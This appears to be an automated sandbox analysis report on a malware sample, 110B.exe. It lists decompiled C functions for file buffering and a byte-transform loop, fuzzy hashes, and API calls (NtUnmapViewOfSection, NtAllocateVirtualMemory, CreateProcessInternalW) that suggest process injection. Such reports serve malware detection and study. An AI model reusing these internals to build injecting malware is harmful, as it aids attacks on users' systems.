API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 9334197e3b0a60478884826bbc964b22f0ad8ab59abc14db56de3517539ab197
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: 9334197e3b0a60478884826bbc964b22f0ad8ab59abc14db56de3517539ab197
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3
v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: f1461162bd3f2f3f57e3543434d12ce3e12192867cf6cdfa919c21d2cf2ad32e
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: f1461162bd3f2f3f57e3543434d12ce3e12192867cf6cdfa919c21d2cf2ad32e
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 110B.exe PID: 5764 Parent PID: 3352 110B.exeCOMMON

Executed Functions

Function 058C4FF8, Relevance: 8.7, Strings: 6, Instructions: 1235COMMON

Download Yara Rule

Strings

4/&m, xrefs: 058C5E01
4/&m, xrefs: 058C5F4E
(#m, xrefs: 058C5112
(#m, xrefs: 058C5108
(#m, xrefs: 058C50D5
{&, xrefs: 058C5F73

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: (#m$(#m$(#m$4/&m$4/&m${&
API String ID: 0-2269677439
Opcode ID: 9ddd1e5df7e8bc016a6ed423554bdaef3f4b83ab3781c9a7d79de8684a7d1c2f
Instruction ID: d65aa866e6eb8793328a4652ac95fddb898fb2a09c9196b806d63852b8dba8af
Opcode Fuzzy Hash: 9ddd1e5df7e8bc016a6ed423554bdaef3f4b83ab3781c9a7d79de8684a7d1c2f
Instruction Fuzzy Hash: 68B23774B006148FDB24DF29C494A69BBF6FF89314F1585A9E80ADB369DB30EC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 058C7B28, Relevance: 3.3, Instructions: 3311COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1050cca21259b9a65b3ee577851d2779bea9bb3c008681aef30e4060d2c05b
Instruction ID: 0cabf333bb895fe5eddbb081c06d6cfbdde6b1edfdc5023450df66891476e06e
Opcode Fuzzy Hash: 5d1050cca21259b9a65b3ee577851d2779bea9bb3c008681aef30e4060d2c05b
Instruction Fuzzy Hash: 5C636D74A4121CABEB249BA0CC95BDEB777EF89701F008099E7096B3D0DBB55E809F45

Uniqueness

Uniqueness Score: -1.00%

Function 0339AA08, Relevance: 1.7, Strings: 1, Instructions: 422COMMON

Download Yara Rule

Strings

@, xrefs: 0339AEA0

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 951570fa942aa75d8e3f74ce5585674af1b63fd2a0e5959bb417fe6d8edd010b
Instruction ID: 0f4572f3f6d04c6554f9ed0e1bd5e5b2007ed0c9fc793406e9fa2e987994bccd
Opcode Fuzzy Hash: 951570fa942aa75d8e3f74ce5585674af1b63fd2a0e5959bb417fe6d8edd010b
Instruction Fuzzy Hash: 5E025D74A00209DFEF19DF64C8D4AAEBBB7BF89301F148569E4069B294DB35DD81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03398970, Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

p\Yk, xrefs: 03398CDC

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID: p\Yk
API String ID: 0-2663708313
Opcode ID: c36feef8c76c58210d5940bfb6fa242ebdb5f4223fdf2fe60aa3bf2c802b5a88
Instruction ID: 83ff5d40b01be6f1a6adecaaa0940ceb7c677b1b0401e85ed9386d245f881e53
Opcode Fuzzy Hash: c36feef8c76c58210d5940bfb6fa242ebdb5f4223fdf2fe60aa3bf2c802b5a88
Instruction Fuzzy Hash: 2BD11875B00615CFDB14DF69C4849ADBBF6BF89314B1984AAE905EB361DB30EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058FF7A0, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 058FF823

Memory Dump Source

Source File: 0000001C.00000002.453848685.00000000058F0000.00000040.00000001.sdmp, Offset: 058F0000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: d116bca2d0fa0a67ddcf18afbba8829ccf3a9ac5ea6617b9dd938fec5c6c84d2
Instruction ID: 60d3e45a1d279555e98e1bee02cdfa3836beeea3398c70bccb4462b3d373ea34
Opcode Fuzzy Hash: d116bca2d0fa0a67ddcf18afbba8829ccf3a9ac5ea6617b9dd938fec5c6c84d2
Instruction Fuzzy Hash: CC21E4B59003499FCB10DFA9D884ADEBBF9FF48254F50842AE919A7210D7749954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 058FF6C0, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(?,?), ref: 058FF725

Memory Dump Source

Source File: 0000001C.00000002.453848685.00000000058F0000.00000040.00000001.sdmp, Offset: 058F0000, based on PE: false

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 88a511f3e6651870250a6dc01246e83d7b1cf770c1429cb952a72aa7e3382c8e
Instruction ID: 9e2c9c9dad05713110378816d3903d69f57b0630432a6dbc255f8a63a7f31fa5
Opcode Fuzzy Hash: 88a511f3e6651870250a6dc01246e83d7b1cf770c1429cb952a72aa7e3382c8e
Instruction Fuzzy Hash: AC1158B59003488FCB10DFA9C844BEFFBF9EB48224F14882AD555A7240CB74A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 033943F8, Relevance: 1.0, Instructions: 1002COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b86075c409f2a81f7ad7ccd022794f2832289c593df00ab97dc82bc91cb13f58
Instruction ID: 438f044372433cc0b89a7bc1a0c6c72a6dfe4d97715100ae0008e238c2ea4428
Opcode Fuzzy Hash: b86075c409f2a81f7ad7ccd022794f2832289c593df00ab97dc82bc91cb13f58
Instruction Fuzzy Hash: BA928D35A00645CFDB25DF69C4C4AAAFBF6FF84300F1989AAD4469B655D730EC82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 033911C8, Relevance: .8, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adcce671f59cf7cb8c0b2ba4db53b7849c756fbd8fb8b85007fe8f53b83ee79e
Instruction ID: 0b14746066cc3815089a48d81bcb23b041b3d4ad2931251a1e9984437e860dfb
Opcode Fuzzy Hash: adcce671f59cf7cb8c0b2ba4db53b7849c756fbd8fb8b85007fe8f53b83ee79e
Instruction Fuzzy Hash: DA620A74E00209DFDB14DFA4C894AAEBBB6FF88310F158569E906AB365DB34DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 033957F8, Relevance: .6, Instructions: 636COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b88cbb80eaf3fe46c940ba97cb5d6b268c199b9ba5dedef3aac0415247dd3d2
Instruction ID: 1b6f012034645a9db18786ca4d33e294e03cce5972324bb0df6c2008b559c75c
Opcode Fuzzy Hash: 8b88cbb80eaf3fe46c940ba97cb5d6b268c199b9ba5dedef3aac0415247dd3d2
Instruction Fuzzy Hash: 3F423D74A00245CFEB19DF68C4D4AAABBF6BF89300F198469E446DB3A5DB35DC81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03390550, Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f585505e737ab0a36f80f05c2a3431b00ddd842376a9213ca55a0ed423ee9a
Instruction ID: 547c2cfcdacdf137d9893d5bfbd0bfcee5096738273b79b7244054c8e3ec3b66
Opcode Fuzzy Hash: 63f585505e737ab0a36f80f05c2a3431b00ddd842376a9213ca55a0ed423ee9a
Instruction Fuzzy Hash: AA328E30A00304CFEB28DF75C9D466AB7FABF84315F18886AE546CB654CB75E881CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0339A0D0, Relevance: .6, Instructions: 619COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f70e67a777c84f51fd578b297ca175e0618d57fe2cdec412dd8bd8fae5ad851
Instruction ID: a4fe6e1ef6f6b78ae67d5dc6052a615501ce318afc79062f55ea9f0b01ba33dd
Opcode Fuzzy Hash: 1f70e67a777c84f51fd578b297ca175e0618d57fe2cdec412dd8bd8fae5ad851
Instruction Fuzzy Hash: 68326D34B00204CFDB14DF69C884A6ABBF6BF88314F1585A9E546DB3A5CB35ED41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03396EE9, Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c50008b171752e3cd19bebd684adcdcf583f1fd809da2d2f93675b03c46d0aa
Instruction ID: cdcbc9d0c8eae14dd8d8821febfbc00e37c0a5218c63f90132155fcd774eca66
Opcode Fuzzy Hash: 0c50008b171752e3cd19bebd684adcdcf583f1fd809da2d2f93675b03c46d0aa
Instruction Fuzzy Hash: 0A024775A10209DFDB14DFA8C48499EBBF2FF89310F1585AAE845AB361D730ED85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03392928, Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc2be032e91bb2e4f0216194831c9e54816e2386a08e21729bc899d1dbe0960
Instruction ID: 8d389f30484d81861e9a4cc5c8ed3147def72f5c1f71a6f167c39bd7d5ca7022
Opcode Fuzzy Hash: 8cc2be032e91bb2e4f0216194831c9e54816e2386a08e21729bc899d1dbe0960
Instruction Fuzzy Hash: A5025C35A00B09DFEB25DF69C884A9ABBF6BF48300F18896AD456DB761C735E845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 058C1410, Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db19bc8d58b2415788c241780be9b84aebf68067e7830c13a9d3d0d9baf9745a
Instruction ID: 167ba24e1566075eff45838dd78a72436c73926e53cf9c0101fe93ac53c78b8e
Opcode Fuzzy Hash: db19bc8d58b2415788c241780be9b84aebf68067e7830c13a9d3d0d9baf9745a
Instruction Fuzzy Hash: 45F11D34A002099FDB18DFA4C498AADBBB6FF88304F148569E816EF399DB35DD45CB40

Uniqueness

Uniqueness Score: -1.00%

Function 03395080, Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca55d35cafcea60d31dcd4ea89a3b1961240e43b1480f0d4ff7e6f50539d8efc
Instruction ID: 21ee07f60b3617f5c6aa27c95622406df522f10c957dbf643e704a64d4a453be
Opcode Fuzzy Hash: ca55d35cafcea60d31dcd4ea89a3b1961240e43b1480f0d4ff7e6f50539d8efc
Instruction Fuzzy Hash: A3022874A00249CFDB15DF69C5849AABBF6FF89300B19C59AE449DB362C730ED85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058C7857, Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7371f7c1fe8832562d2e5f1f48e9dcc99fe110b4d1522e71c62591a6d1bafbfe
Instruction ID: aff804e4ecc36b823f46b12f155923659a3c0a32c9fb6ee9653fb0d8fee26939
Opcode Fuzzy Hash: 7371f7c1fe8832562d2e5f1f48e9dcc99fe110b4d1522e71c62591a6d1bafbfe
Instruction Fuzzy Hash: 8AD1BF729102448BC701CB69D886A6ABFB2FF55310B5880EEEE41DB352EB35DD08CF81

Uniqueness

Uniqueness Score: -1.00%

Function 03398D60, Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5369274dbdbcf418aad7439f5abc1d8f831a3512dc6c6d2a1d9f1ad70b23bf9b
Instruction ID: 65b17714df5874178c2ca68cc2ab749d436f89619a599e2857db95794ad26d7d
Opcode Fuzzy Hash: 5369274dbdbcf418aad7439f5abc1d8f831a3512dc6c6d2a1d9f1ad70b23bf9b
Instruction Fuzzy Hash: C3917F74B01209AFDB24EBA5D894B7E77EBEBCC310F109419A906EB394CB399C418F55

Uniqueness

Uniqueness Score: -1.00%

Function 03398D52, Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b0c2ee8cf8d257ba21c08de9aecbdd25aeec5664ff92060cc4909ecb1be68ae
Instruction ID: 03cbf17b3381c336407fa0843bed1613a31487f075b610324ec2bb23302f73a3
Opcode Fuzzy Hash: 0b0c2ee8cf8d257ba21c08de9aecbdd25aeec5664ff92060cc4909ecb1be68ae
Instruction Fuzzy Hash: 81819274A01208AFDB14DBA5D894A7EB7FBEBCC310F14941AA806EB394CB399C418F51

Uniqueness

Uniqueness Score: -1.00%

Function 058C3FA0, Relevance: 4.0, Strings: 3, Instructions: 249COMMON

Download Yara Rule

Strings

]"m, xrefs: 058C4092
Xc#m, xrefs: 058C424B
]"m, xrefs: 058C40CD

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: ]"m$ ]"m$Xc#m
API String ID: 0-651987475
Opcode ID: 684e9ef7538518409557ea1b61329336b40330380863f97588f753602678cc4f
Instruction ID: 0547c5f1894dceff7641fbe9997714f3dde913c69251eb3fef1d3719f3bc8a8f
Opcode Fuzzy Hash: 684e9ef7538518409557ea1b61329336b40330380863f97588f753602678cc4f
Instruction Fuzzy Hash: F7A16F34A006098FDB14DFA5C59499EBBF6FF89305B148569E806DF364DB30ED42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 058C4FEB, Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

(#m, xrefs: 058C5108
(#m, xrefs: 058C50D5

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: (#m$(#m
API String ID: 0-3830796434
Opcode ID: c212985273e4c25b1a46abb62f4e3f278a373749e2113ded2939aca902647cc6
Instruction ID: a760549394711f79383d06a0839f78eeebd7c28ac83e4e3a51914e38b546f0d9
Opcode Fuzzy Hash: c212985273e4c25b1a46abb62f4e3f278a373749e2113ded2939aca902647cc6
Instruction Fuzzy Hash: D6A1F974A006088FDB24DF69C488A69BBF6FF85314F1584A9E80ADF365DB71EC84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 058C3F92, Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

]"m, xrefs: 058C4092
]"m, xrefs: 058C40CD

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: ]"m$ ]"m
API String ID: 0-573932791
Opcode ID: 655f028614858084b594181df1954c67031154cb636395ad91568ed86152a698
Instruction ID: d8f04e43e7014ef961a09f77c665a2287025273125da1a9b61ce948dff6a4c77
Opcode Fuzzy Hash: 655f028614858084b594181df1954c67031154cb636395ad91568ed86152a698
Instruction Fuzzy Hash: B0715E34A006098FCB14DFA4C59499EBBF2FF85315B148569E816DF364DB30ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 058FD848, Relevance: 1.6, APIs: 1, Instructions: 145processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,0000000A,?,?,?,?,?,?,?), ref: 058FD9B6

Memory Dump Source

Source File: 0000001C.00000002.453848685.00000000058F0000.00000040.00000001.sdmp, Offset: 058F0000, based on PE: false

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 7d6c2261d48b7cf0dbc19e3ce3895af45dfccae43ab3de653e35d165ac37f56f
